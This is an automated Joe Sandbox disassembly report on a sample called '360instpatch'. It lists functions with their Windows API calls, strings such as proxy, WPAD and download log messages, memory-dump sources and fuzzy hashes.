Instruction Fuzzy Hash: 47A1D0736046269FDB40DAB8C994B2EB7B5BF45710F10829AE905D76B1D7BCD840CBD0

Function 6BF18BCB Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 219networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32(?,?,?,?,?), ref: 6BF18E00
GetTickCount.KERNEL32 ref: 6BF18E5B
GetTickCount.KERNEL32 ref: 6BF18E63
GetTickCount.KERNEL32 ref: 6BF18E6B

Part of subcall function 6BF23F7C: _memset.LIBCMT ref: 6BF23FAF
Part of subcall function 6BF23F7C: wvnsprintfW.SHLWAPI(?,000003FF,?,?), ref: 6BF23FCA

Strings

[%d.%3d] %s(%s) closed, error code %d, api %d, state %d, downloaded %I64d, %d ms, xrefs: 6BF18E1B
[%d.%3d] OnClose_Receive Date tail_len = %d, xrefs: 6BF18CA8
[%d.%3d] OnClose HttpBlock RangeFrom = %I64u BodyDownload = %I64u, xrefs: 6BF18D69

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CountTick$ErrorLast_memsetwvnsprintf
String ID: [%d.%3d] OnClose HttpBlock RangeFrom = %I64u BodyDownload = %I64u$[%d.%3d] OnClose_Receive Date tail_len = %d$[%d.%3d] %s(%s) closed, error code %d, api %d, state %d, downloaded %I64d, %d ms
API String ID: 1507222378-1900711150
Opcode ID: 56da1fc103e5fa293384a50a5ba16e4a755011e8874cfd56d33701c30b2328fb
Instruction ID: f02bf6cb322b95fb7f47a6caf56a99343f1adb6901393a0648aacf716f5f1726
Opcode Fuzzy Hash: 56da1fc103e5fa293384a50a5ba16e4a755011e8874cfd56d33701c30b2328fb
Instruction Fuzzy Hash: 72914972604B05AFE725DFB4C994BDBB7E6FB58304F00481DE66A97260DB38B904CB61

Function 6BF03AC3 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 155COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6BF03AE2

Part of subcall function 6BF1BFAE: __EH_prolog3.LIBCMT ref: 6BF1BFB5
Part of subcall function 6BF1BFAE: _memset.LIBCMT ref: 6BF1C152

Part of subcall function 6BF1998E: __EH_prolog3.LIBCMT ref: 6BF19995

Part of subcall function 6BEE8514: char_traits.LIBCPMT ref: 6BEE8539

Part of subcall function 6BF16CA0: htons.WS2_32(?), ref: 6BF16CE0

_memset.LIBCMT ref: 6BF03C4A

Part of subcall function 6BF240CF: _memset.LIBCMT ref: 6BF24102
Part of subcall function 6BF240CF: wvnsprintfW.SHLWAPI(?,000003FF,?,?), ref: 6BF2411D

Part of subcall function 6BF19E9E: _memset.LIBCMT ref: 6BF19FC9

Part of subcall function 6BF1B0FA: __EH_prolog3.LIBCMT ref: 6BF1B101

Strings

ConnetPacServer AsyncStartDownload fail, xrefs: 6BF03B47
ConnetPacServer dataLen is Err!, xrefs: 6BF03C73
ConnetPacServer code:%d, xrefs: 6BF03C08
ConnetPacServer ok!, xrefs: 6BF03C6C

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: H_prolog3_memset$char_traitshtonswvnsprintf
String ID: ConnetPacServer AsyncStartDownload fail$ConnetPacServer code:%d$ConnetPacServer dataLen is Err!$ConnetPacServer ok!
API String ID: 2665625422-3491224597
Opcode ID: a9dcdf7fca80c0c200c3b658ad3f264d343d0b993a3cfcf1c24b5fd1e05b4071
Instruction ID: 3cb12c40539c8601e5a21235769f40423224440023a2d7934b2b5ad5ce9bced2
Opcode Fuzzy Hash: a9dcdf7fca80c0c200c3b658ad3f264d343d0b993a3cfcf1c24b5fd1e05b4071
Instruction Fuzzy Hash: 9D51707390414AAFDB14DFB4CCA1DEE73B8FF18248F104419E916A61B1EF399A05DA61

Function 00B92420 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 114fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B22750: _vswprintf_s.LIBCMT ref: 00B22783

CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000000,00000000,?,00BFCDA4,?,?), ref: 00B92492
_memset.LIBCMT ref: 00B924BF
_strncpy.LIBCMT ref: 00B924FB
DeviceIoControl.KERNEL32 ref: 00B92531
CloseHandle.KERNEL32(00000000), ref: 00B9259B

Strings

SCSIDISK, xrefs: 00B924CD
\\.\Scsi%d:, xrefs: 00B92461

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset_strncpy_vswprintf_s
String ID: SCSIDISK$\\.\Scsi%d:
API String ID: 170396225-2176293039
Opcode ID: 89173b295b6390cd9450748a9bc99e3a4313f5762a0e5915804cd8832c3466e8
Instruction ID: 1b7c775079b1481cd917be12c244494d54f51ce41d13996310569cd79e6586ae
Opcode Fuzzy Hash: 89173b295b6390cd9450748a9bc99e3a4313f5762a0e5915804cd8832c3466e8
Instruction Fuzzy Hash: D34191B4A48340ABE730DB14DC86FABB7D8EB98704F40096DF698972C1D7B5A508C757

Function 00B80877 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 101fileCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B80896

Part of subcall function 00B7A6F2: _memset.LIBCMT ref: 00B7A71F
Part of subcall function 00B7A6F2: _memset.LIBCMT ref: 00B7A72D
Part of subcall function 00B7A6F2: GetTempPathW.KERNEL32(00000400,?,?,00000000,000000CE,DLL,00000014,00B2BCDE), ref: 00B7A741
Part of subcall function 00B7A6F2: _memset.LIBCMT ref: 00B7A754
Part of subcall function 00B7A6F2: PathCombineW.SHLWAPI(?,?,?), ref: 00B7A784
Part of subcall function 00B7A6F2: _wcscat.LIBCMT ref: 00B7A796
Part of subcall function 00B7A6F2: PathFileExistsW.SHLWAPI(?), ref: 00B7A7A4

DeleteFileW.KERNEL32(?,00000010), ref: 00B80903
_memset.LIBCMT ref: 00B8092F
GetTempPathW.KERNEL32(00000400,00000000,?,?,?), ref: 00B80940

Part of subcall function 00B80691: __EH_prolog3.LIBCMT ref: 00B806B0
Part of subcall function 00B80691: PathFileExistsW.SHLWAPI(?,00000010), ref: 00B806CC
Part of subcall function 00B80691: _memset.LIBCMT ref: 00B8070A
Part of subcall function 00B80691: _memset.LIBCMT ref: 00B807B9

SHCreateDirectory.SHELL32(00000000,?,?,{A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp,00000000,?,?,?), ref: 00B8096E
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00B809A7

Strings

{A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp, xrefs: 00B80952

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: _memset$Path$File$DeleteExistsH_prolog3Temp$CombineCreateDirectory_wcscat
String ID: {A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp
API String ID: 3543345046-342223665
Opcode ID: a7dcefe587e449bd1e335862ebff75615a938c034be530a840809d1e681b2be8
Instruction ID: cd73decfd18c02f5e2678a238ece5c959b89950e4455c73a82d8595772af9054
Opcode Fuzzy Hash: a7dcefe587e449bd1e335862ebff75615a938c034be530a840809d1e681b2be8
Instruction Fuzzy Hash: 42316D71A102199BDB54FBA4DC92AFEB7F8FF04304F0044A9E515A7291EF346A09CBA0

Function 6BF02364 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 78networkCOMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6BF02387

Part of subcall function 6BF3856A: __FF_MSGBANNER.LIBCMT ref: 6BF3858D
Part of subcall function 6BF3856A: __NMSG_WRITE.LIBCMT ref: 6BF38594
Part of subcall function 6BF3856A: RtlAllocateHeap.NTDLL(00000000,-0000000D,00000001,00000000,00000000,?,6BF42E8E,00000002,00000001,00000002,?,6BF3F8B1,00000018,6BF7C4F0,0000000C,6BF3F942), ref: 6BF385E1

GetNetworkParams.IPHLPAPI(00000000,?), ref: 6BF0239D
_malloc.LIBCMT ref: 6BF023B3
GetNetworkParams.IPHLPAPI(00000000,?), ref: 6BF023C8
_memset.LIBCMT ref: 6BF023EF
__snwprintf.LIBCMT ref: 6BF02416

Part of subcall function 6BF389A5: __lock.LIBCMT ref: 6BF389C3
Part of subcall function 6BF389A5: ___sbh_find_block.LIBCMT ref: 6BF389CE
Part of subcall function 6BF389A5: ___sbh_free_block.LIBCMT ref: 6BF389DD
Part of subcall function 6BF389A5: HeapFree.KERNEL32(00000000,00000002,6BF7C288,0000000C,6BF3F908,00000000,6BF7C4F0,0000000C,6BF3F942,00000002,00000830,?,6BF47C19,00000004,6BF7C818,0000000C), ref: 6BF38A0D
Part of subcall function 6BF389A5: GetLastError.KERNEL32(?,6BF47C19,00000004,6BF7C818,0000000C,6BF42ED8,00000002,0000083F,00000000,00000000,00000000,?,6BF3F137,00000001,00000214), ref: 6BF38A1E

Strings

http://wpad.%s/wpad.dat, xrefs: 6BF0240D

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: HeapNetworkParams_malloc$AllocateErrorFreeLast___sbh_find_block___sbh_free_block__lock__snwprintf_memset
String ID: http://wpad.%s/wpad.dat
API String ID: 2241623331-1081111291
Opcode ID: 091ffec2e46f53ba1c40dbe5b3fc4b7955a970aec6b3a3cc916f36612a5be726
Instruction ID: 4655d2a113c0a05f3942daf350a091bce0e36fd7dc64aaada7c0f7e9b5c7e44e
Opcode Fuzzy Hash: 091ffec2e46f53ba1c40dbe5b3fc4b7955a970aec6b3a3cc916f36612a5be726
Instruction Fuzzy Hash: 3E21273790012ABAD702CB748C51EEEB3BCAF49B14F5040AAE508E3031EF7D9A8557B5

Function 6BEEA365 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 52threadCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6BEEA36C
GetCurrentThreadId.KERNEL32 ref: 6BEEA376

Part of subcall function 6BEFAE3C: KiUserExceptionDispatcher.NTDLL(406D1388,00000000,00000004,00001000,6BF78AA8,00000018,6BF2E73E,00000000), ref: 6BEFAE6F

Part of subcall function 6BEE802B: WaitForSingleObject.KERNEL32(?,000000FF), ref: 6BEE8033

GetTickCount.KERNEL32 ref: 6BEEA3A9
GetTickCount.KERNEL32 ref: 6BEEA3B3

Part of subcall function 6BEEA0F5: __EH_prolog3_GS.LIBCMT ref: 6BEEA0FC

GetTickCount.KERNEL32 ref: 6BEEA3C3

Part of subcall function 6BF23FED: _memset.LIBCMT ref: 6BF24020
Part of subcall function 6BF23FED: wvnsprintfW.SHLWAPI(?,000003FF,?,00007148), ref: 6BF2403B

Strings

[DiskScheduler] type:%d, taskid:%d, cost:%dms, queue:%d., xrefs: 6BEEA3DC
p2sp.Disk, xrefs: 6BEEA371

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CountTick$CurrentDispatcherExceptionH_prolog3H_prolog3_ObjectSingleThreadUserWait_memsetwvnsprintf
String ID: [DiskScheduler] type:%d, taskid:%d, cost:%dms, queue:%d.$p2sp.Disk
API String ID: 1914228569-2306218905
Opcode ID: 6cc952c3b3099df48130af7ab32dea5ee8aacc5ee6598501da0a096fa9c472de
Instruction ID: 50bf7dba989ab8402bf82a136b687b4c29094294d12e250e5e18b8cca421ee40
Opcode Fuzzy Hash: 6cc952c3b3099df48130af7ab32dea5ee8aacc5ee6598501da0a096fa9c472de
Instruction Fuzzy Hash: F111A073C10219AFDF40DBF4C944BEEB7B5BB08329F20415AE111E2190C779E6558BB2

Function 6BEE789C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 52fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,?,?,00000000), ref: 6BEE78B6
GetLastError.KERNEL32 ref: 6BEE78C7
GetLastError.KERNEL32 ref: 6BEE78CD
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 6BEE78E9
GetLastError.KERNEL32 ref: 6BEE78FE

Strings

[%d.] __write_disk WriteFile fail, error code is %d, xrefs: 6BEE7904
[%d.] __write_disk SetFilePointer fail, error code is %d, xrefs: 6BEE78D3

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: ErrorLast$File$PointerWrite
String ID: [%d.] __write_disk SetFilePointer fail, error code is %d$[%d.] __write_disk WriteFile fail, error code is %d
API String ID: 3440492293-1343894148
Opcode ID: ca163ee8773178580c16955a931fc0360b074a102bcbe9f4e4e0d875a9d37814
Instruction ID: 7ae577cbde26f9473741e231190c9436e2f8c56e222010dba93d7155ee0f4de9
Opcode Fuzzy Hash: ca163ee8773178580c16955a931fc0360b074a102bcbe9f4e4e0d875a9d37814
Instruction Fuzzy Hash: 8401DE33020209BBDF11AFA8CC00F9B3BA8EF55720F218565FA65C2160E736D921DB71

Function 6BEE79BC Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 39libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Kernel32.dll), ref: 6BEE79DB
GetProcAddress.KERNEL32(00000000,SetFileValidData), ref: 6BEE79ED
SetFileValidData.KERNEL32(000000FF,?,?), ref: 6BEE7A00
GetLastError.KERNEL32 ref: 6BEE7A06
FreeLibrary.KERNEL32(00000000), ref: 6BEE7A0F

Strings

SetFileValidData, xrefs: 6BEE79E7
Kernel32.dll, xrefs: 6BEE79D6

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: Library$AddressDataErrorFileFreeLastLoadProcValid
String ID: Kernel32.dll$SetFileValidData
API String ID: 687652507-1252668126
Opcode ID: 8a82d0e48a2918e989d09cc541f099b6ecbd97ee36082cd292821e8d3111409a
Instruction ID: 098c5f339dc67352d7c9b1beb28a40113e5cb97256faa9856715316a36d8291e
Opcode Fuzzy Hash: 8a82d0e48a2918e989d09cc541f099b6ecbd97ee36082cd292821e8d3111409a
Instruction Fuzzy Hash: 2AF0C237100415EF9B526EA8CC048993B61EA812A8B348DA1F82CD3221D235C663C6B0

Function 00B6639A Relevance: 12.2, APIs: 8, Instructions: 150windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B663B9
GetDlgItem.USER32(?,000003EE), ref: 00B663D8
_memset.LIBCMT ref: 00B663F9
GetWindowTextW.USER32(?,00000000,000003FF), ref: 00B6640D
IsWindowVisible.USER32(?), ref: 00B66434
SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00B66449
GetFocus.USER32 ref: 00B66488
SetFocus.USER32(?), ref: 00B664A2

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: FocusWindow$H_prolog3ItemMessageSendTextVisible_memset
String ID:
API String ID: 1096848440-0
Opcode ID: 7cb2dc3c61cebf094ae3c02bb450965d37f413399f277c8e71abf6d04de435f5
Instruction ID: 8d2611fa2655b0e380b7a02c50b29ad472c3316cf3b88718762c1716072ea114
Opcode Fuzzy Hash: 7cb2dc3c61cebf094ae3c02bb450965d37f413399f277c8e71abf6d04de435f5
Instruction Fuzzy Hash: 41517C71900209AFDB20EBA4DC46BFEB7F4FF24704F104569E516A7291EF34AA48CB61

Function 6BF3ABF1 Relevance: 12.0, APIs: 8, Instructions: 42threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 6BF3ABF7

Part of subcall function 6BF3EF97: TlsGetValue.KERNEL32(?,6BF3F123,?,6BF3E348,00000042,0000083F,00000002,00000000), ref: 6BF3EFA0
Part of subcall function 6BF3EF97: __decode_pointer.LIBCMT ref: 6BF3EFB2
Part of subcall function 6BF3EF97: TlsSetValue.KERNEL32(00000000,6BF3E348,00000042,0000083F,00000002,00000000), ref: 6BF3EFC1

___fls_getvalue@4.LIBCMT ref: 6BF3AC02

Part of subcall function 6BF3EF77: TlsGetValue.KERNEL32(?,?,6BF3AC07,00000000), ref: 6BF3EF85

___fls_setvalue@8.LIBCMT ref: 6BF3AC15

Part of subcall function 6BF3EFCB: __decode_pointer.LIBCMT ref: 6BF3EFDC

GetLastError.KERNEL32(00000000,?,00000000), ref: 6BF3AC1E
ExitThread.KERNEL32 ref: 6BF3AC25
GetCurrentThreadId.KERNEL32 ref: 6BF3AC2B
__freefls@4.LIBCMT ref: 6BF3AC4B
__IsNonwritableInCurrentImage.LIBCMT ref: 6BF3AC5E

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: Value$CurrentThread__decode_pointer$ErrorExitImageLastNonwritable___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
String ID:
API String ID: 1925773019-0
Opcode ID: 40ec949d25fb8d6f77e79c43998d645628c83bd8833170629d6f239666e5da4d
Instruction ID: a9a8aeafb5be3c3fc591e59bffaa8458cd240c958b3f1929e812f2266a834d7e
Opcode Fuzzy Hash: 40ec949d25fb8d6f77e79c43998d645628c83bd8833170629d6f239666e5da4d
Instruction Fuzzy Hash: 1B014B37420222AFCF08AF72C549A4E3BE9AF4539871584A5E945C7271DB3EC846CAF1

Function 00B14680 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 388COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00B146A1
GetFileSizeEx.KERNEL32(?,?,00000000,?,00000003), ref: 00B146B3
_malloc.LIBCMT ref: 00B146E3
SetLastError.KERNEL32(00000008,?,?,?,00004000), ref: 00B146F3

Strings

INIT, xrefs: 00B14A52
PE, xrefs: 00B14766

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: ErrorFileLastSize_malloc_memset
String ID: INIT$PE
API String ID: 942205088-3949469810
Opcode ID: d7e91bc7e1da3f7450970e91e881f8f3922a7eb3493156fd48e91402c9265c53
Instruction ID: 3ec76ecfc6c61f84479a29324597927788b294fd2094adc1005760ffc1f5ba23
Opcode Fuzzy Hash: d7e91bc7e1da3f7450970e91e881f8f3922a7eb3493156fd48e91402c9265c53
Instruction Fuzzy Hash: 0FE1D0B1A083419BDB20DF24D841BAB77E4FF95704F8449ADF9989B381E770D984C792

Function 6BF05B20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 189COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 6BF05D5B

Part of subcall function 6BF26BE8: RegQueryValueExW.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,?,?,?,6BF05BD5,customproxytype,?,AA5945B3), ref: 6BF26C13

Part of subcall function 6BF26CC7: RegSetValueExW.KERNEL32(?,00000000,00000000,00000004,?,00000004,?,6BF05B99,proxytype,00000001,proxytype,?,AA5945B3), ref: 6BF26CEB

Strings

customproxytype, xrefs: 6BF05BC8
proxytype, xrefs: 6BF05B7C, 6BF05B81, 6BF05B90
ieproxy, xrefs: 6BF05C88
customhttp, xrefs: 6BF05BE9
customsocks, xrefs: 6BF05C0B

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: Value$CountQueryTick
String ID: customhttp$customproxytype$customsocks$ieproxy$proxytype
API String ID: 3766178726-1816664922
Opcode ID: 706c04d091765467f2b2c23c35a14ea14f08f7078e6257773236ce710ead4d6a
Instruction ID: ee64905d46bfb553f8aa679ad25f4d5e9c9c8f492a410d5017f5e84acdac6708
